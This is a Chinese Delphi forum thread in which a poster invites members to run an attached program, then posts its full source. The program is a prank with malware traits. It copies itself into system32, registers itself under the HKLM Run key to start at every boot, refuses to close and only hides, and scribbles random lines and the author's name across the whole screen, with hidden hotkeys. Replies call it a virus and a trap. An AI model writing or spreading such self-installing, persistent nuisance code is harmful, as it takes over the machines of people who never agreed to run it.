各位大侠看看这个程序(看者有分)~~~~ ( 积分: 180 )

  • 主题发起人 cjianwen
  • 开始时间
病毒吗.<br>只接分
 
只等分。
 
改版了,新增加了点功能~~~~~<br><br>建议计算机比较健壮的运行~~~<br><br>见贴子:http://bbs.2ccc.com/topic.asp?topicid=194329<br><br>第二个附件~~~
 
不知道怎么送分,送点别的吧,把源码贴出来:<br><br>大家指点指点:<br><br><br>unit Unit1;<br><br>interface<br><br>uses<br> &nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br> &nbsp;Dialogs, StdCtrls,Registry;<br><br>type<br> &nbsp;TForm1 = class(TForm)<br> &nbsp; &nbsp;Label1: TLabel;<br> &nbsp; &nbsp;Label2: TLabel;<br> &nbsp; &nbsp;procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br> &nbsp; &nbsp;procedure FormCreate(Sender: TObject);<br> &nbsp; &nbsp;procedure FormClose(Sender: TObject; var Action: TCloseAction);<br> &nbsp;private<br> &nbsp; &nbsp;{ Private declarations }<br> &nbsp; &nbsp;procedure autorun;<br> &nbsp; &nbsp;procedure addhotkey;<br> &nbsp; &nbsp;procedure deletehotkey;<br> &nbsp; &nbsp;procedure prohotkey(var msg:TWMhotkey);message WM_HOTKEY;<br> &nbsp;public<br> &nbsp; &nbsp;{ Public declarations }<br> &nbsp;end;<br> &nbsp;TMyThrd=class(TThread)<br> &nbsp;private<br> &nbsp;fcanvas:TCanvas;<br> &nbsp;fa,fb,fx,fy:integer;<br> &nbsp;procedure drawline;<br> &nbsp;protected<br> &nbsp;procedure Execute;override;<br> &nbsp;public<br> &nbsp;constructor create(cas:TCanvas;x,y:integer);<br> &nbsp; end;<br>var<br> &nbsp;Form1: TForm1;<br> &nbsp;fresume,fcontinue,fshow,fhide:integer;<br> &nbsp;fcanclose:boolean;<br> &nbsp;hd:HDC;<br> &nbsp;fthd:TMyThrd;<br><br>implementation<br><br>{$R *.dfm}<br><br>{ TForm1 }<br><br>procedure TForm1.addhotkey;<br>begin<br>fshow:=globaladdatom('appshow');<br>fhide:=globaladdatom('apphide');<br>fresume:=globaladdatom('Threadresume');<br>fcontinue:=globaladdatom('threadcontinue');<br>registerhotkey(self.Handle,fshow,0,VK_F10);<br>RegisterHotkey(self.Handle,fhide,0,VK_F11);<br>RegisterHotkey(self.Handle,fresume,0,VK_F1);<br>RegisterHotkey(self.Handle,fcontinue,0,VK_F2);<br><br>end;<br><br>procedure TForm1.deletehotkey;<br>begin<br>Unregisterhotkey(self.Handle,fshow);<br>unregisterhotkey(self.Handle,fhide);<br>unregisterhotkey(self.Handle,fresume);<br>unregisterhotkey(self.Handle,fcontinue);<br>globaldeleteatom(fshow);<br>globaldeleteatom(fhide);<br>globaldeleteatom(fresume);<br>globaldeleteatom(fcontinue);<br>end;<br><br>procedure TForm1.prohotkey(var msg: TWMhotkey);<br>begin<br>if msg.HotKey=fresume then<br>begin<br> &nbsp;if not fthd.Suspended then fthd.Suspend;<br>end<br>else if msg.HotKey=fcontinue then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp;if fthd.Suspended then<br> &nbsp; &nbsp;fthd.Resume;<br> &nbsp; &nbsp;end<br> &nbsp; &nbsp;else<br>if msg.HotKey=fshow then<br>self.Show<br>else if msg.HotKey=fhide then<br>self.Hide;<br>end;<br><br>procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br>begin<br>canclose:=fcanclose;<br>if not fcanclose then<br>self.Hide;<br>end;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>var<br>cas:TCanvas;<br>begin<br>autorun;<br>fcanclose:=false;<br>addhotkey;<br>hd:=getwindowdc(0);<br>cas:=TCanvas.Create;<br>cas.Handle:=hd;<br>fthd:=TMythrd.create(cas,screen.Width,screen.Height);<br>fthd.Resume;<br>end;<br><br>procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);<br>begin<br>deletehotkey;<br>fthd.Free;<br>end;<br><br>procedure TForm1.autorun;<br>var<br>a:array [0..100] of char;<br>s:string;<br>re:TRegistry;<br>begin<br>getwindowsdirectory(a,100);<br>s:=a+'/system32/myapp.exe';<br>copyfile(pchar(application.exename),pchar(s),false);<br>re:=TRegistry.Create;<br>try<br>re.RootKey:=HKEY_LOCAL_MACHINE;<br>re.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run',true);<br>re.WriteString('myapprun',s);<br>re.CloseKey;<br>finally<br>re.Free;<br>end;<br><br>end;<br><br><br><br>{ TMyThrd }<br><br>constructor TMyThrd.create(cas: TCanvas; x, y: integer);<br>begin<br>self.FreeOnTerminate:=true;<br>fcanvas:=cas;<br>fx:=x;<br>fy:=y;<br>fa:=1;<br>fb:=1;<br>randomize();<br>inherited create(false);<br>end;<br><br>procedure TMyThrd.drawline;<br>begin<br>fcanvas.MoveTo(fa,fb);<br>fcanvas.Pen.Width:=random(30)+1;<br>fcanvas.Pen.Color:=rgb(random(255),random(255),random(255));<br>fa:=random(fx);<br>fb:=random(fy);<br>fcanvas.LineTo(fa,fb);<br>fcanvas.Font.color:=clred;<br>fcanvas.Font.Size:=50;<br>fcanvas.TextOut(150,100,'欢迎使用该程序!');<br>fcanvas.Textout(150,200,'作者:空前 &nbsp;');<br>fcanvas.Font.Size:=25;<br>fcanvas.TextOut(150,300,'E_mail: cai35819194@163.com');<br>end;<br><br>procedure TMyThrd.Execute;<br>begin<br> &nbsp;inherited;<br> &nbsp;while not (self.Terminated or application.Terminated ) do<br> &nbsp;synchronize(drawline);<br><br>end;<br><br>end.
 
这段代码帅呆了,涉及了绘图,注册表操作,线程,热键,同步序列化.<br>真的太感谢楼主了.
 
好几天没来了,还是不知道怎么送分,不知道有没有打开过盒子上面的第二个附件,<br><br>感觉怎么样~~~~?
 
看在你贴出代码的份上少骂你1句`````
 
坑-------------------------人!
 
麻烦楼主弄点实用的出来
 
为什么我的机器运行后没有任何反应? <br>哼! 鄙视你,看不起我们这些用WINDWOS3.1的!
 
路过,接分
 
getwindowsdirectory(a,100);<br>s:=a+'/system32/myapp.exe';<br>怎么不直接用getsystemdirectory?????
 
呵呵,不知道有那个函数呀~~~<br><br>所以就用别的了~~
 

Similar threads

S
回复
0
查看
933
SUNSTONE的Delphi笔记
S
S
回复
0
查看
1K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
742
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
顶部